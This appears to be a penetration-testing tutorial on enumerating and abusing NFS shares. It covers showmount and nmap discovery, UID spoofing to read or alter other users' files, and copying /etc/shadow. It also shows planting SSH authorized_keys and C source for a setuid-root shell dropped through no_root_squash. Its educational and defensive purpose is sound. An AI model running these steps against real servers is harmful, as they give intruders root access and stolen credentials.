NFS
NFS is the Unix-world equivalent of SMB - network-mounted file shares. It uses a different protocol (ONC-RPC) and a different trust model (UID/GID-based, not username/password). NFSv3 authenticates the client computer, not the user; if the network is trusted, that’s enough. If the network isn’t trusted, anyone can pretend to be any UID.
# 1. Service detectionnmap -p111,2049 -sV -sC <target>
# 2. List exported sharesshowmount -e <target>
# 3. Mount the share locallymkdir target-NFSsudo mount -t nfs <target>:/ ./target-NFS/ -o nolock
# 4. Walk the tree, note UIDsls -ln ./target-NFS/
# 5. If root_squash is disabled, write as rootsudo cp /etc/shadow ./target-NFS/some-writeable-dir/Success indicator: showmount -e returns export paths; mount succeeds; file listing shows real files. If no_root_squash is set, you can write files owned by root on the server.
Protocol overview
Section titled “Protocol overview”NFS is built on Sun’s ONC-RPC (Open Network Computing Remote Procedure Call), historically called SUN-RPC. The wire format is XDR (External Data Representation). Two ports matter:
- TCP/UDP 111 -
rpcbind/ portmapper. Tells clients which ports to use for specific RPC services. - TCP/UDP 2049 - NFS itself, in modern deployments.
NFSv4 simplified this by putting everything on port 2049, eliminating the need for portmapper. NFSv2/v3 still rely on the portmapper to find auxiliary services like mountd, nlockmgr, and nfs_acl.
Version differences
Section titled “Version differences”| Version | Year | Notable |
|---|---|---|
| NFSv2 | 1989 | UDP-only initially. Limited file size (32-bit). |
| NFSv3 | 1995 | Variable file size, better error reporting, TCP support. Still client-machine auth. |
| NFSv4 | 2000 | Stateful protocol, Kerberos auth optional, ACLs, single port, NAT-friendly. |
| NFSv4.1 | 2010 | Parallel access (pNFS), session trunking. |
In practice, you’ll most often encounter NFSv3 (still the default on many systems) and NFSv4. v2 is rare but still alive in legacy deployments.
Authentication
Section titled “Authentication”NFS itself has no authentication. The authentication question is delegated to the RPC layer:
- AUTH_SYS (the common case) - client tells the server “I am UID 1000 in GID 1000, also member of groups 100, 200.” Server takes it at face value. If your local user has UID 1000, you can read files owned by UID 1000 on the share, regardless of who that is on the server.
- AUTH_NONE - anonymous, even less verification.
- AUTH_KRB5 (NFSv4 only) - Kerberos-based, actually checks identity.
In the AUTH_SYS world (most deployments), the operator can:
- Mount the share
- Read which UIDs own which files
- Create local users matching those UIDs
- Access files as that effective user
That’s the canonical NFS attack pattern. The only thing stopping it is root_squash (covered below) and proper network segmentation.
Default configuration
Section titled “Default configuration”NFS exports are configured via /etc/exports. The default file is empty:
# /etc/exports: the access control list for filesystems which may be exported# to NFS clients. See exports(5).## Example for NFSv2 and NFSv3:# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)## Example for NFSv4:# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)The format: <path> <client>(<options>) [<client>(<options>) ...]
A real entry: /mnt/nfs 10.129.14.0/24(sync,no_subtree_check) - exports /mnt/nfs to anyone in the /24 subnet with synchronous I/O and no subtree checking.
Per-host options:
| Option | What it does |
|---|---|
rw | Read+write |
ro | Read-only |
sync | Synchronous writes (slower, safer) |
async | Asynchronous writes (faster, risk of inconsistency on crash) |
secure | Require client to use a port below 1024 (default) |
insecure | Allow clients to use any source port |
no_subtree_check | Skip path verification on every request (faster) |
root_squash | Map UID 0 (root) to UID 65534 (nobody) - default and good |
no_root_squash | UID 0 stays UID 0 - root-on-client = root-on-server |
all_squash | All UIDs are mapped to nobody - most restrictive |
anonuid=<n>, anongid=<n> | Override the “anonymous” UID/GID used by squashing |
root_squash is the security boundary. With it, root on the client mounting the share can’t write files owned by root on the server. Without it (no_root_squash), local root = remote root = full write access to anything.
Dangerous settings
Section titled “Dangerous settings”| Setting | Why it’s bad |
|---|---|
rw to wide subnets | Read+write to anyone in subnet |
no_root_squash | Local root → server root, can write authorized_keys, replace binaries, etc. |
insecure | Client can use any source port - bypasses old firewall rules that allowed only low ports |
nohide | If another filesystem is mounted under an exported dir, it’s exported with the same options |
Wide-subnet export (0.0.0.0/0) | World-readable file share |
Wide-subnet write (* or large subnet with rw) | World-writable file share |
The most common real-world finding: a share intended for internal team sharing, exported to a /16 or wider subnet (admin shorthand for “everyone in the company”) which actually overlaps with VPN ranges and contractor networks the admin forgot about.
Footprinting commands
Section titled “Footprinting commands”Portmapper / RPC enumeration
Section titled “Portmapper / RPC enumeration”sudo nmap 10.129.14.128 -p111,2049 -sV -sCPORT STATE SERVICE VERSION111/tcp open rpcbind 2-4 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2,3,4 111/tcp rpcbind| 100003 3 2049/udp nfs| 100003 3,4 2049/tcp nfs| 100005 1,2,3 45837/tcp mountd| 100021 1,3,4 44629/tcp nlockmgr| 100227 3 2049/tcp nfs_acl2049/tcp open nfs_acl 3 (RPC #100227)The rpcinfo NSE script enumerates the portmapper. mountd and nlockmgr ride on random high ports - useful intel because they’re sometimes exposed publicly even when 2049 is firewalled.
Comprehensive NSE enumeration
Section titled “Comprehensive NSE enumeration”sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049| nfs-ls: Volume /mnt/nfs| access: Read Lookup NoModify NoExtend NoDelete NoExecute| PERMISSION UID GID SIZE TIME FILENAME| rwxrwxrwx 65534 65534 4096 2021-09-19T15:28:17 .| rw-r--r-- 0 0 1872 2021-09-19T15:27:42 id_rsa| rw-r--r-- 0 0 348 2021-09-19T15:28:17 id_rsa.pub| rw-r--r-- 0 0 0 2021-09-19T15:22:30 nfs.share|| nfs-showmount:|_ /mnt/nfs 10.129.14.0/24| nfs-statfs:| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink|_ /mnt/nfs 30313412.0 8074868.0 20675664.0 29% 16.0T 32000That id_rsa owned by UID 0 is the kind of find that ends engagements.
Export listing
Section titled “Export listing”showmount -e 10.129.14.128Export list for 10.129.14.128:/mnt/nfs 10.129.14.0/24showmount -a (active mounts) and showmount -d (directories currently mounted by clients) provide additional intel on some servers, though many disable these.
Mounting
Section titled “Mounting”mkdir target-NFSsudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolocknolock skips the nlockmgr handshake, useful when the lock service is firewalled or slow. Adding vers=3 or vers=4 forces a specific NFS version.
To mount a specific export rather than the root:
sudo mount -t nfs 10.129.14.128:/mnt/nfs ./target-NFS/ -o nolockWalking the tree
Section titled “Walking the tree”ls -l target-NFS/mnt/nfs/total 16-rw-r--r-- 1 cry0l1t3 cry0l1t3 1872 Sep 25 00:55 cry0l1t3.priv-rw-r--r-- 1 cry0l1t3 cry0l1t3 348 Sep 25 00:55 cry0l1t3.pub-rw-r--r-- 1 root root 1872 Sep 19 17:27 id_rsa-rw-r--r-- 1 root root 348 Sep 19 17:28 id_rsa.pub-rw-r--r-- 1 root root 0 Sep 19 17:22 nfs.shareTwo things to notice:
cry0l1t3:cry0l1t3- files owned by a user namedcry0l1t3. If you have UID matchingcry0l1t3on your machine, you have full access; otherwise the file is readable but not writable.root:root- files owned by root. Withroot_squashenabled, your local root can read but not modify these. Withoutroot_squash, you can do whatever you want.
To see numeric UIDs/GIDs directly:
ls -ln target-NFS/mnt/nfs/total 16-rw-r--r-- 1 1000 1000 1872 Sep 25 00:55 cry0l1t3.priv-rw-r--r-- 1 1000 1000 348 Sep 25 00:55 cry0l1t3.pub-rw-r--r-- 1 0 1000 1221 Sep 19 18:21 backup.sh-rw-r--r-- 1 0 0 1872 Sep 19 17:27 id_rsa-rw-r--r-- 1 0 0 0 Sep 19 17:22 nfs.shareUID 1000 = the first interactive user on Linux. UID 0 = root. The mixed-ownership backup.sh (root-owned but group 1000) is interesting - maybe an admin script left writable to a specific user group.
Becoming the right UID
Section titled “Becoming the right UID”To read/write as a specific UID:
# Create local user with matching UIDsudo useradd -u 1000 cry0l1t3 -m
# Switch to that usersudo su - cry0l1t3
# Now your file operations on the mount run as UID 1000cat target-NFS/mnt/nfs/cry0l1t3.privecho "added by attacker" >> target-NFS/mnt/nfs/cry0l1t3.privThis is the textbook NFS abuse pattern. UID-based auth means the client decides who they are, and the server has no way to verify.
Detecting root_squash
Section titled “Detecting root_squash”Try to read or modify a root-owned file as local root:
sudo cat target-NFS/mnt/nfs/id_rsasudo touch target-NFS/mnt/nfs/test-as-rootroot_squashenabled (the default):touchfails with “Permission denied” even though you’re root - your UID 0 was mapped to nobody/65534.no_root_squash:touchsucceeds. The file is created owned by root on the server. From here you have:- Write to root-owned cron files
- Replace SUID binaries
- Write SSH
authorized_keysif/root/.ssh/is in the exported tree - Anything else root can do
Abusing no_root_squash for SSH access
Section titled “Abusing no_root_squash for SSH access”Classic path to root on a target running SSH:
# As local root, on the mounted share:sudo mkdir -p target-NFS/mnt/nfs/.sshsudo cp ~/.ssh/id_rsa.pub target-NFS/mnt/nfs/.ssh/authorized_keyssudo chown root:root target-NFS/mnt/nfs/.ssh/authorized_keyssudo chmod 600 target-NFS/mnt/nfs/.ssh/authorized_keys
# Now SSH as root with your keyFor this to work the NFS export must be /root/ or include /root/.ssh/. Sometimes it’s a different exported directory but with a symlink trail that lets you write to /root/.ssh/ indirectly.
SUID binary planting
Section titled “SUID binary planting”When NFS gives you write access but no path to a privileged account file:
# On your machine, write a setuid-root shell wrappercat > /tmp/pwn.c <<'EOF'#include <stdio.h>#include <unistd.h>#include <stdlib.h>int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); return 0;}EOFgcc -static -o /tmp/pwn /tmp/pwn.c
# Copy to the NFS share with SUID bit setsudo cp /tmp/pwn target-NFS/mnt/nfs/pwnsudo chmod 4755 target-NFS/mnt/nfs/pwnsudo chown root:root target-NFS/mnt/nfs/pwnNow any user on the target with shell access who can navigate to that mount path can execute /path/to/share/pwn and get a root shell. Works because the SUID bit is preserved across the NFS mount.
This requires either:
no_root_squash(so you can chown to root and set SUID as root)- Or, you already have a regular shell on the target via another path, and SUID files written through NFS escalate you
Unmounting
Section titled “Unmounting”sudo umount ./target-NFSIf “device is busy,” cd out of the directory first or use umount -l (lazy unmount).
Common chained workflows
Section titled “Common chained workflows”Read-only mount → credentials → other services:
- Mount the share
- Grep for
password,apikey,BEGIN RSA, etc. - Use found credentials against SSH, RDP, web logins
Writable mount → SSH access via authorized_keys:
- Mount the share
- Verify exported path includes
/home/<user>/.ssh/or/root/.ssh/ - Write your public key as
authorized_keys - SSH in
Writable mount → SUID escalation:
- Mount with
no_root_squashaccess - Plant
pwn.c-style SUID binary - Use it later from a regular shell on the target
NFS for lateral movement:
- From a compromised host, mount internal NFS exports
- Read other users’ SSH keys, dotfiles, env vars containing tokens
- Pivot to other systems with those credentials
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
| Service scan | nmap -p111,2049 -sV -sC <target> |
| NSE NFS scripts | nmap --script nfs* -p111,2049 <target> |
| List exports | showmount -e <target> |
| Active mounts | showmount -a <target> |
| Mount root | sudo mount -t nfs <target>:/ /mnt/x -o nolock |
| Mount specific export | sudo mount -t nfs <target>:/export/path /mnt/x -o nolock |
| Force version | mount -o vers=3,nolock ... |
| Listing with UIDs | ls -ln /mnt/x/ |
| Test root_squash | sudo touch /mnt/x/test-root |
| Plant SUID | sudo cp pwn /mnt/x/ && sudo chmod 4755 /mnt/x/pwn |
| Unmount | sudo umount /mnt/x or sudo umount -l /mnt/x |